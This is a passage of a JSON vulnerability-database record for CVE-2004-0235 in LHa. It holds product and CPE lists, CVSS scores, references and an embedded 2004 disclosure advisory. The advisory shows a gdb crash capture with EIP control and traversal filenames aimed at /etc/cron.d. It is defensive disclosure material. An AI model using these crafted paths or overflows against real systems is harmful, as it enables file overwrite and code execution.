"model": "securityshield for microsoft isa server",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "portalshield for microsoft sharepoint",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "netshield for netware",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "managed virusscan",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "linuxshield",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "internet security suite",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "groupshield for mail servers with epo",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "groupshield for lotus domino",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "groupshield for exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "5.5"
},
{
"model": "asap virusscan",
"scope": "eq",
"trust": 0.3,
"vendor": "mcafee",
"version": "0"
},
{
"model": "active virus defense smb edition",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "active threat protection",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "active mail protection",
"scope": null,
"trust": 0.3,
"vendor": "mcafee",
"version": null
},
{
"model": "personal express",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.7"
},
{
"model": "personal express",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.6"
},
{
"model": "personal express",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.5"
},
{
"model": "internet security",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "2004"
},
{
"model": "internet security",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "2003"
},
{
"model": "anti-virus for workstations",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.42"
},
{
"model": "anti-virus for workstations",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.41"
},
{
"model": "anti-virus for windows servers",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.42"
},
{
"model": "anti-virus for windows servers",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.41"
},
{
"model": "anti-virus for samba servers",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.60"
},
{
"model": "anti-virus for ms exchange",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "6.21"
},
{
"model": "anti-virus for mimesweeper",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.42"
},
{
"model": "anti-virus for mimesweeper",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.41"
},
{
"model": "anti-virus for linux workstations",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.52"
},
{
"model": "anti-virus for linux workstations",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.51"
},
{
"model": "anti-virus for linux servers",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.52"
},
{
"model": "anti-virus for linux servers",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.51"
},
{
"model": "anti-virus for linux gateways",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.52"
},
{
"model": "anti-virus for linux gateways",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "4.51"
},
{
"model": "anti-virus client security",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.52"
},
{
"model": "anti-virus client security",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "5.50"
},
{
"model": "anti-virus",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "2004"
},
{
"model": "anti-virus",
"scope": "eq",
"trust": 0.3,
"vendor": "f secure",
"version": "2003"
},
{
"model": "mailsweeper sp1",
"scope": "eq",
"trust": 0.3,
"vendor": "clearswift",
"version": "4.3.6"
},
{
"model": "networks barracuda spam firewall",
"scope": "eq",
"trust": 0.3,
"vendor": "barracuda",
"version": "3.1.18"
},
{
"model": "networks barracuda spam firewall",
"scope": "eq",
"trust": 0.3,
"vendor": "barracuda",
"version": "3.1.17"
},
{
"model": "networks barracuda spam firewall",
"scope": "ne",
"trust": 0.3,
"vendor": "barracuda",
"version": "3.3.03.022"
}
],
"sources": [
{
"db": "BID",
"id": "10243"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000170"
},
{
"db": "NVD",
"id": "CVE-2004-0235"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-176"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.13:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.3:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.4:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:2004:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.51:*:linux_gateways:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.41:*:mimesweeper:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.41:*:windows_servers:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_for_firewalls:6.20:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_internet_security:2003:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:rarlab:winrar:3.20:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:redhat:lha:1.14i-9:*:i386:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:winzip:winzip:9.0:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.0:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.1:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.6:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.51:*:linux_servers:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.51:*:linux_workstations:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.41:*:workstations:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.42:*:mimesweeper:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_internet_security:2004:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_personal_express:4.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sgi:propack:2.4:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:sgi:propack:3.0:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.6_sp1:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.7:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.52:*:linux_gateways:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.52:*:linux_servers:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.42:*:windows_servers:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.42:*:workstations:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_personal_express:4.6:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_personal_express:4.7:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:stalker:cgpmcafee:3.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:tsugio_okamoto:lha:1.14:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.10:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.11:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:clearswift:mailsweeper:4.3.8:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:2003:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.52:*:linux_workstations:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:4.60:*:samba_servers:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.5:*:client_security:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:5.52:*:client_security:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:f-secure_anti-virus:6.21:*:ms_exchange:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:internet_gatekeeper:6.31:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:f-secure:internet_gatekeeper:6.32:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:tsugio_okamoto:lha:1.15:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:a:tsugio_okamoto:lha:1.17:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:redhat:fedora_core:core_1.0:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2004-0235"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Ulf Harnhammar\u203b ulfh@update.uu.se\u203bJean-S\u00e9bastien Guay-Leroux\u203b jean-sebastien@guay-leroux.com",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-200408-176"
}
],
"trust": 0.6
},
"cve": "CVE-2004-0235",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"acInsufInfo": false,
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "NVD",
"availabilityImpact": "NONE",
"baseScore": 6.4,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"impactScore": 4.9,
"integrityImpact": "PARTIAL",
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "MEDIUM",
"trust": 1.0,
"userInteractionRequired": false,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
"version": "2.0"
},
{
"acInsufInfo": null,
"accessComplexity": "Low",
"accessVector": "Network",
"authentication": "None",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 6.4,
"confidentialityImpact": "Partial",
"exploitabilityScore": null,
"id": "CVE-2004-0235",
"impactScore": null,
"integrityImpact": "Partial",
"obtainAllPrivilege": null,
"obtainOtherPrivilege": null,
"obtainUserPrivilege": null,
"severity": "Medium",
"trust": 0.8,
"userInteractionRequired": null,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 6.4,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-8665",
"impactScore": 4.9,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:P/A:N",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "NVD",
"id": "CVE-2004-0235",
"trust": 1.8,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-200408-176",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-8665",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-8665"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000170"
},
{
"db": "NVD",
"id": "CVE-2004-0235"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-176"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Multiple directory traversal vulnerabilities in LHA 1.14 allow remote attackers or local users to create arbitrary files via an LHA archive containing filenames with (1) .. sequences or (2) absolute pathnames with double leading slashes (\"//absolute/path\"). \nThe first issues reported have been assigned the CVE candidate identifier (CAN-2004-0234). LHA is reported prone to two stack-based buffer-overflow vulnerabilities. An attacker may exploit these vulnerabilities to execute supplied instructions with the privileges of the user who invoked the affected LHA utility. \nThe second set of issues has been assigned CVE candidate identifier (CAN-2004-0235). In addition to the buffer-overflow vulnerabilities that were reported, LHA has been reported prone to several directory-traversal issues. An attacker may likely exploit these directory-traversal vulnerabilities to corrupt/overwrite files in the context of the user who is running the affected LHA utility. \n**NOTE: Reportedly, this issue may also cause a denial-of-service condition in the ClearSwift MAILsweeper products due to code dependency. \n**Update: Many F-Secure Anti-Virus products are also reported prone to the buffer-overflow vulnerability. LHa is a console-based decompression program. Carefully constructed file or directory names can execute arbitrary commands with process privileges. Attackers can build simple packages that corrupt system files when LHA operates. ------------------------------------------------------------------------\n\nLHa buffer overflows and directory traversal problems\n\nPROGRAM: LHa (Unix version)\nVENDOR: various people\nVULNERABLE VERSIONS: 1.14d to 1.14i\n 1.17 (Linux binary)\n possibly others\nIMMUNE VERSIONS: 1.14i with my patch applied\n 1.14h with my patch applied\nLHa 1.14: http://www2m.biglobe.ne.jp/~dolphin/lha/lha.htm\n http://www2m.biglobe.ne.jp/~dolphin/lha/prog/\nLHa 1.17: http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/\nREFERENCES: CAN-2004-0234 (buffer overflows)\n CAN-2004-0235 (directory traversal)\n\n* DESCRIPTION *\n\nLHa is a console-based program for packing and unpacking LHarc\narchives. \n\nIt is one of the packages in Red Hat Linux, Fedora Core, SUSE\nLinux, Debian GNU/Linux (non-free), Mandrakelinux, Slackware Linux,\nGentoo Linux, Yellow Dog Linux, Conectiva Linux and ALT Linux. \nIt is also included in the port/package collections for FreeBSD,\nOpenBSD and NetBSD. \n\n* OVERVIEW *\n\nLHa has two stack-based buffer overflows and two directory traversal\nproblems. They can be abused by malicious people in many different\nways: some mail virus scanners require LHa and run it automatically\non attached files in e-mail messages. Some web applications allow\nuploading and unpacking of LHarc archives. Some people set up their\nweb browsers to start LHa automatically after downloading an LHarc\narchive. Finally, social engineering is probably quite effective\nin this case. \n\n* TECHNICAL DETAILS *\n\na) two stack-based buffer overflows\n\nThe buffer overflows in LHa occur when testing (t) or extracting\n(x) archives where the archive contents have too long filenames\nor directory names. The cause of the problem is the function\nget_header() in header.c. This function first reads the lengths of\nfilenames or directory names from the archive, and then it reads\nthat many bytes to a char array (one for filenames and one for\ndirectory names) without checking if the array is big enough. \n\nBy exploiting this bug, you get control over several registers\nincluding EIP, as you can see in this session capture:\n\n$ lha t buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\nSegmentation fault\n$ lha x buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\nSegmentation fault\n$ gdb lha\nGNU gdb Red Hat Linux (5.3post-0.20021129.18rh)\nCopyright 2003 Free Software Foundation, Inc. \nGDB is free software, covered by the GNU General Public License, and\nyou are welcome to change it and/or distribute copies of it under\ncertain conditions. \nType \"show copying\" to see the conditions. \nThere is absolutely no warranty for GDB. Type \"show warranty\" for\ndetails. \nThis GDB was configured as \"i386-redhat-linux-gnu\"... \n(gdb) r x buf_oflow.lha\nStarting program: /usr/bin/lha x buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\n\nProgram received signal SIGSEGV, Segmentation fault. \n0x55555555 in ?? ()\n(gdb) bt\n#0 0x55555555 in ?? ()\nCannot access memory at address 0x55555555\n(gdb) i r\neax 0x4001e4a0 1073865888\necx 0xffffffe0 -32\nedx 0x24 36\nebx 0x55555555 1431655765\nesp 0xbfffdd50 0xbfffdd50\nebp 0x55555555 0x55555555\nesi 0x55555555 1431655765\nedi 0x55555555 1431655765\neip 0x55555555 0x55555555\neflags 0x210282 2163330\ncs 0x23 35\nss 0x2b 43\nds 0x2b 43\nes 0x2b 43\nfs 0x0 0\ngs 0x33 51\n(gdb) r t buf_oflow.lha\nThe program being debugged has been started already. \nStart it from the beginning? (y or n) y\nStarting program: /usr/bin/lha t buf_oflow.lha\nLHa: Error: Unknown information UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\nUUUUUUUUUUUUU\n\nProgram received signal SIGSEGV, Segmentation fault. \n0x55555555 in ?? ()\n(gdb) bt\n#0 0x55555555 in ?? ()\nCannot access memory at address 0x55555555\n(gdb) i r\neax 0x4001e4a0 1073865888\necx 0xffffffe0 -32\nedx 0x24 36\nebx 0x55555555 1431655765\nesp 0xbfffe6d0 0xbfffe6d0\nebp 0x55555555 0x55555555\nesi 0x55555555 1431655765\nedi 0x55555555 1431655765\neip 0x55555555 0x55555555\neflags 0x210286 2163334\ncs 0x23 35\nss 0x2b 43\nds 0x2b 43\nes 0x2b 43\nfs 0x0 0\ngs 0x33 51\n(gdb) q\nThe program is running. Exit anyway? (y or n) y\n$\n\nb) two directory traversal problems\n\nLHa has directory traversal problems, both with absolute paths\nand relative paths. There is no protection against relative paths\nat all, so you can simply use the lha binary to create an archive\nwith paths like \"../../../../../etc/cron.d/evil\". There is some\nsimple protection against absolute paths, namely skipping the first\ncharacter if it is a slash, but again you can simply use the binary\nto create archives with paths like \"//etc/cron.d/evil\". \n\n* ATTACHED FILES *\n\nI have written a patch against version 1.14i that corrects all\nfour problems. The patch is included as an attachment, together\nwith some test archives. \n\n* TIMELINE *\n\n18 Apr: contacted the vendor-sec list and the LHa 1.14 author\n18 Apr: tried to contact the LHa 1.17 author with a web form and\n a guessed e-mail address which bounced\n19 Apr: reply from the vendor-sec list with CVE references\n30 Apr: Red Hat released their advisory\n01 May: I release this advisory\n\n// Ulf Harnhammar\nAdvogato diary :: http://www.advogato.org/person/metaur/\nidiosynkratisk (Swedish electropop zine) :: http://idiosynkratisk.tk/\nDebian Security Audit Project :: http://shellcode.org/Audit/\n\n------------------------------------------------------------------------\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2004-0235"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000170"
},
{
"db": "BID",
"id": "10243"
},
{
"db": "VULHUB",
"id": "VHN-8665"
},
{
"db": "PACKETSTORM",
"id": "33241"
}
],
"trust": 2.07
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2004-0235",
"trust": 2.9
},
{
"db": "BID",
"id": "10243",
"trust": 2.8
},
{
"db": "XF",
"id": "16013",
"trust": 1.4
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000170",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-200408-176",
"trust": 0.7
},
{
"db": "FULLDISC",
"id": "20040501 LHA BUFFER OVERFLOWS AND DIRECTORY TRAVERSAL PROBLEMS",
"trust": 0.6
},
{
"db": "OVAL",
"id": "OVAL:ORG.MITRE.OVAL:DEF:978",
"trust": 0.6
},
{
"db": "OVAL",
"id": "OVAL:ORG.MITRE.OVAL:DEF:10409",
"trust": 0.6
},
{
"db": "FEDORA",
"id": "FEDORA-2004-119",
"trust": 0.6
},
{
"db": "FEDORA",
"id": "FLSA:1833",
"trust": 0.6
},
{
"db": "DEBIAN",
"id": "DSA-515",
"trust": 0.6
},
{
"db": "BUGTRAQ",
"id": "20040510 [ULF HARNHAMMAR]: LHA ADVISORY + PATCH",
"trust": 0.6
},
{
"db": "GENTOO",
"id": "GLSA-200405-02",
"trust": 0.6
},
{
"db": "REDHAT",
"id": "RHSA-2004:178",
"trust": 0.6
},
{
"db": "REDHAT",
"id": "RHSA-2004:179",
"trust": 0.6
},
{
"db": "CONECTIVA",
"id": "CLA-2004:840",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-8665",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "33241",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-8665"
},
{
"db": "BID",
"id": "10243"
},
{
"db": "JVNDB",
"id": "JVNDB-2004-000170"
},
{
"db": "PACKETSTORM",
"id": "33241"
},
{
"db": "NVD",
"id": "CVE-2004-0235"
},
{
"db": "CNNVD",
"id": "CNNVD-200408-176"
}
]
},
"id": "VAR-200408-0141",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-8665"
}
],
"trust": 0.01
},
"last_update_date": "2023-12-18T11:41:21.801000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "LHA for UNIX Version 1.17",
"trust": 0.8,
"url": "http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/"
},
{
"title": "Top Page",
"trust": 0.8,
"url": "http://lha.sourceforge.jp/"
},
{
"title": "RHSA-2004:178",
"trust": 0.8,
"url": "https://rhn.redhat.com/errata/rhsa-2004-178.html"
},
{
"title": "RHSA-2004:179",
"trust": 0.8,
"url": "https://rhn.redhat.com/errata/rhsa-2004-179.html"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2004-000170"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "NVD-CWE-Other",
"trust": 1.0
}
],
"sources": [
{
"db": "NVD",
"id": "CVE-2004-0235"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
